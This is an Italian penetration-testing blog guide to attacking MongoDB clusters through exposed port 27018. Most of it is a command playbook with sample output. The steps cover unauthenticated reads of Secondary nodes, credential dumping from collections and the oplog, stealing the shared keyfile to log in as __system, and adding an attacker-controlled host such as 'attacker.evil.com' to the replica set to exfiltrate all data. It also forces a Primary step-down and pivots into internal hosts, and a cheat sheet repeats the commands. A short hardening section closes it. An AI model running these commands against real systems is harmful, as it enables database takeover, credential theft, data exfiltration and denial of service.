Porta 27018 MongoDB Cluster: Accesso ai Nodi Interni e Oplog Dump

Porta 27018 esposta? Connettiti direttamente ai Secondary del replica set, leggi l'oplog con password in chiaro, bypassa il keyfile e pivota nei nodi del cluster.
- Pubblicato il 2026-04-21
- Tempo di lettura: 5 min
La porta 27018 è la porta interna di comunicazione tra i nodi di un cluster MongoDB. Quando MongoDB opera in modalità replica set (alta disponibilità) o sharded cluster (distribuzione orizzontale), i nodi si parlano sulla 27018 per sincronizzare i dati, eleggere il primary e instradare le query. Non è pensata per essere raggiunta dai client applicativi — ma quando un pentester la trova esposta, apre un vettore che bypassa completamente le restrizioni configurate sulla porta 27017.
Il motivo è semplice: la comunicazione interna al cluster MongoDB spesso non ha autenticazione separata. Se il sysadmin ha protetto la 27017 con auth e firewall ma ha lasciato la 27018 raggiungibile, puoi connetterti direttamente al membro del replica set e accedere ai dati come se l’auth non esistesse.
Architettura del Cluster MongoDB #
Replica Set (alta disponibilità) #
Client App
│
▼
┌─────────────────┐
│ Primary (:27017)│ ← riceve write
└────────┬────────┘
:27018 │ :27018
┌─────────────┼─────────────┐
▼ ▼ ▼
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Secondary 1 │ │ Secondary 2 │ │ Arbiter │
│ (:27018) │ │ (:27018) │ │ (:27018) │
└─────────────┘ └─────────────┘ └─────────────┘Il Primary accetta letture e scritture. I Secondary replicano i dati dal Primary via porta 27018 (oplog sync). L’Arbiter partecipa solo al voto per l’elezione del Primary.
I Secondary hanno una copia completa di tutti i dati — se ci accedi, hai tutto.
Sharded Cluster (distribuzione orizzontale) #
Client App → mongos router (:27017)
│
┌───────────────┼───────────────┐
▼ ▼ ▼
┌────────┐ ┌────────┐ ┌────────┐
│ Shard 1│ │ Shard 2│ │ Shard 3│
│ (:27018)│ │(:27018)│ │(:27018)│
└────────┘ └────────┘ └────────┘
│
┌─────┴─────┐
│Config Srvs│
│ (:27019) │
└────────────┘Ogni Shard è un replica set a sé stante che ascolta sulla 27018. I Config Servers (porta 27019) contengono i metadati del cluster — quale shard contiene quali dati.
In entrambi i casi, la porta 27018 è il canale di comunicazione interno. In un pentest, trovarla esposta significa accedere direttamente ai nodi del cluster, spesso senza le restrizioni della 27017.
1. Enumerazione #
Nmap #
nmap -sV -p 27017,27018,27019 10.10.10.40-42Nmap scan report for 10.10.10.40
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 6.0.12
27018/tcp open mongodb MongoDB 6.0.12 (shard)
Nmap scan report for 10.10.10.41
PORT STATE SERVICE VERSION
27018/tcp open mongodb MongoDB 6.0.12 (shard)
Nmap scan report for 10.10.10.42
PORT STATE SERVICE VERSION
27018/tcp open mongodb MongoDB 6.0.12 (shard)
27019/tcp open mongodb MongoDB 6.0.12 (config)Tre nodi: .40 è il Primary (ha sia 27017 che 27018), .41 è un Secondary, .42 è Secondary + Config Server.
Connessione diretta al membro sulla 27018 #
mongosh 10.10.10.41:27018rs0:SECONDARY>Se ottieni il prompt senza errore di autenticazione → accesso diretto al Secondary senza auth. Tutti i dati del database sono leggibili.
Nota: su un Secondary, le letture richiedono un comando esplicito:
rs.secondaryOk()Oppure nella versione moderna:
db.getMongo().setReadPref("secondary")Senza questo comando, il Secondary rifiuta le query con not primary and secondaryOk=false.
Informazioni sul Replica Set #
rs.status(){
"set": "rs0",
"members": [
{
"_id": 0,
"name": "mongo-01.corp.internal:27018",
"stateStr": "PRIMARY",
"health": 1
},
{
"_id": 1,
"name": "mongo-02.corp.internal:27018",
"stateStr": "SECONDARY",
"health": 1
},
{
"_id": 2,
"name": "mongo-03.corp.internal:27018",
"stateStr": "SECONDARY",
"health": 1
}
]
}Intelligence: hostname interni di tutti i nodi del cluster. Tre nuovi target con i loro hostname DNS interni (mongo-01.corp.internal, ecc.).
rs.conf(){
"_id": "rs0",
"members": [
{"_id": 0, "host": "mongo-01.corp.internal:27018", "priority": 10},
{"_id": 1, "host": "mongo-02.corp.internal:27018", "priority": 5},
{"_id": 2, "host": "mongo-03.corp.internal:27018", "priority": 1}
],
"settings": {
"keyFile": "/etc/mongodb/keyfile"
}
}Se keyFile è presente → l’autenticazione interna usa un keyfile condiviso. Se trovi il keyfile su un nodo compromesso, puoi autenticarti su tutti i nodi del cluster.
Informazioni sugli Shard (cluster sharded) #
sh.status()--- Sharding Status ---
shards:
{ "_id": "shard01", "host": "shard01/mongo-s1a:27018,mongo-s1b:27018" }
{ "_id": "shard02", "host": "shard02/mongo-s2a:27018,mongo-s2b:27018" }
databases:
{ "_id": "production", "primary": "shard01", "partitioned": true }
production.users → shard key: { "region": 1 }
production.orders → shard key: { "order_date": 1 }Mappa completa: quali database su quali shard, con le shard key (utile per capire la distribuzione dei dati).
2. Exploitation — Accesso ai Dati #
Se la 27018 è raggiungibile senza autenticazione, le tecniche sono identiche alla porta 27017:
rs.secondaryOk()
show dbsadmin 40.00 KiB
production 500.00 MiB
staging 10.00 MiB
local 150.00 MiBuse production
show collections
db.users.find({}, {username: 1, password: 1, email: 1, api_key: 1}).limit(10)// Dump credenziali
db.users.find({role: "administrator"}).forEach(printjson)# Dump completo via CLI
mongodump --host 10.10.10.41 --port 27018 --out /tmp/cluster_dump/Per tutte le tecniche di ricerca credenziali, manipolazione dati e exfiltration: vedi la guida completa porta 27017.
Oplog — La Cronologia di Ogni Modifica #
Il database local su ogni membro del replica set contiene l’oplog (operation log): un registro cronologico di ogni operazione di write eseguita sul cluster.
use local
db.oplog.rs.find().sort({$natural: -1}).limit(5){
"ts": Timestamp(1705312800, 1),
"op": "u",
"ns": "production.users",
"o": {"$set": {"password": "$2b$10$NEW_HASH"}},
"o2": {"_id": ObjectId("65a5b...")}
}L’oplog mostra le password cambiate di recente (il campo o contiene il nuovo valore), le insert di nuovi utenti e ogni altra modifica. È un audit trail completo che il pentester può analizzare per trovare credenziali passate che potrebbero ancora funzionare su altri servizi (credential reuse).
// Cerca nell'oplog operazioni con password
use local
db.oplog.rs.find({
"ns": "production.users",
"$or": [
{"o.password": {$exists: true}},
{"o.$set.password": {$exists: true}}
]
}).sort({$natural: -1}).limit(20)3. Keyfile Authentication — Bypass #
L’autenticazione interna tra i nodi del cluster MongoDB usa un keyfile: un file di testo con un segreto condiviso (base64, 6-1024 caratteri). Tutti i nodi dello stesso cluster hanno lo stesso keyfile.
Trovare il keyfile #
# Se hai accesso a un nodo (shell)
cat /etc/mongod.conf | grep keyFilesecurity:
keyFile: /etc/mongodb/keyfilecat /etc/mongodb/keyfileabc123def456ghi789jkl012mno345pqr678stu901vwx234Cercare il keyfile su altri host compromessi #
find / -name "keyfile" -o -name "mongodb-keyfile" -o -name "mongo.key" 2>/dev/null
grep -riE "keyFile" /etc/mongod* /opt/mongo* /var/lib/mongo* 2>/dev/nullIl keyfile è spesso distribuito identicamente su tutti i nodi via Ansible, Puppet o copia manuale. Se comprometti un nodo qualsiasi → hai il keyfile per tutti.
Usare il keyfile per autenticarsi #
Con il keyfile, puoi avviare un mongosh che si autentica come membro interno del cluster:
mongosh --host 10.10.10.41 --port 27018 \
--username __system --password $(cat keyfile) --authenticationDatabase localL’utente __system è l’utente interno del cluster con permessi illimitati — accesso completo a tutto.
4. Manipolazione del Cluster #
Aggiungere un nodo controllato #
Se hai accesso write al Primary con ruolo admin:
// Aggiungi il tuo server come membro del replica set
rs.add("attacker.evil.com:27018")Il cluster inizierà a sincronizzare tutti i dati verso il tuo server. Exfiltration completa e continua.
Attenzione: questa operazione è molto invasiva e visibile. Solo in ambienti autorizzati.
Forzare step-down del Primary #
// Forza il Primary a diventare Secondary (DoS temporaneo)
rs.stepDown(300) // 300 secondi prima che possa ridiventare Primary
Reconfigurare il replica set #
// Rimuovi un membro
rs.remove("mongo-03.corp.internal:27018")5. Pivoting — Da MongoDB al Resto dell’Infrastruttura #
La 27018 esposta rivela la rete interna:
Hostname interni da rs.status() e sh.status() → aggiungi al tuo /etc/hosts e scansiona:
echo "10.10.10.41 mongo-02.corp.internal" >> /etc/hosts
nmap -sV -p- mongo-02.corp.internalCredenziali in MongoDB → testa su tutti i servizi scoperti dalla scansione dei nodi del cluster. La guida porta 27017 copre la ricerca di credenziali nelle collection.
Keyfile → se il keyfile è debole o riusato, potrebbe essere una password usata anche altrove.
6. Detection & Hardening #
Blue Team #
- La porta 27018 NON deve essere raggiungibile da IP esterni al cluster
- Monitor connessioni alla 27018 da IP diversi dai membri del replica set
- Alert su rs.add() con host non autorizzati
- Audit dell'oplog per accessi anomaliHardening #
- Firewall rigoroso — porta 27018 raggiungibile SOLO dagli altri nodi del cluster
- Keyfile robusto — genera con
openssl rand -base64 756 > keyfile - Autenticazione interna obbligatoria —
security.keyFilein mongod.conf - TLS per la replicazione —
net.tls.mode: requireTLSanche per il traffico interno - Network segmentation — i nodi MongoDB nella stessa VLAN isolata
- Bind specifico —
net.bindIpcon solo gli IP dei nodi del cluster, mai0.0.0.0 - Audit log — abilita su tutti i nodi, non solo il Primary
7. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap cluster | nmap -sV -p 27017,27018,27019 target-range |
| Connect al secondary | mongosh target:27018 |
| Abilita lettura secondary | rs.secondaryOk() |
| Status replica set | rs.status() |
| Config replica set | rs.conf() |
| Status shard | sh.status() |
| Leggi oplog | use local; db.oplog.rs.find().sort({\$natural:-1}).limit(10) |
| Cerca password in oplog | db.oplog.rs.find({"o.password":{\$exists:true}}) |
| Dump da secondary | mongodump --host target --port 27018 --out /tmp/dump/ |
| Trova keyfile | grep -r "keyFile" /etc/mongod* |
| Auth con keyfile | mongosh --host target --port 27018 -u __system -p \$(cat keyfile) --authenticationDatabase local |
| Aggiungi nodo (invasivo) | rs.add("attacker:27018") |
Riferimento: MongoDB Replica Set documentation, MongoDB Security Checklist, HackTricks MongoDB. Uso esclusivo in ambienti autorizzati.







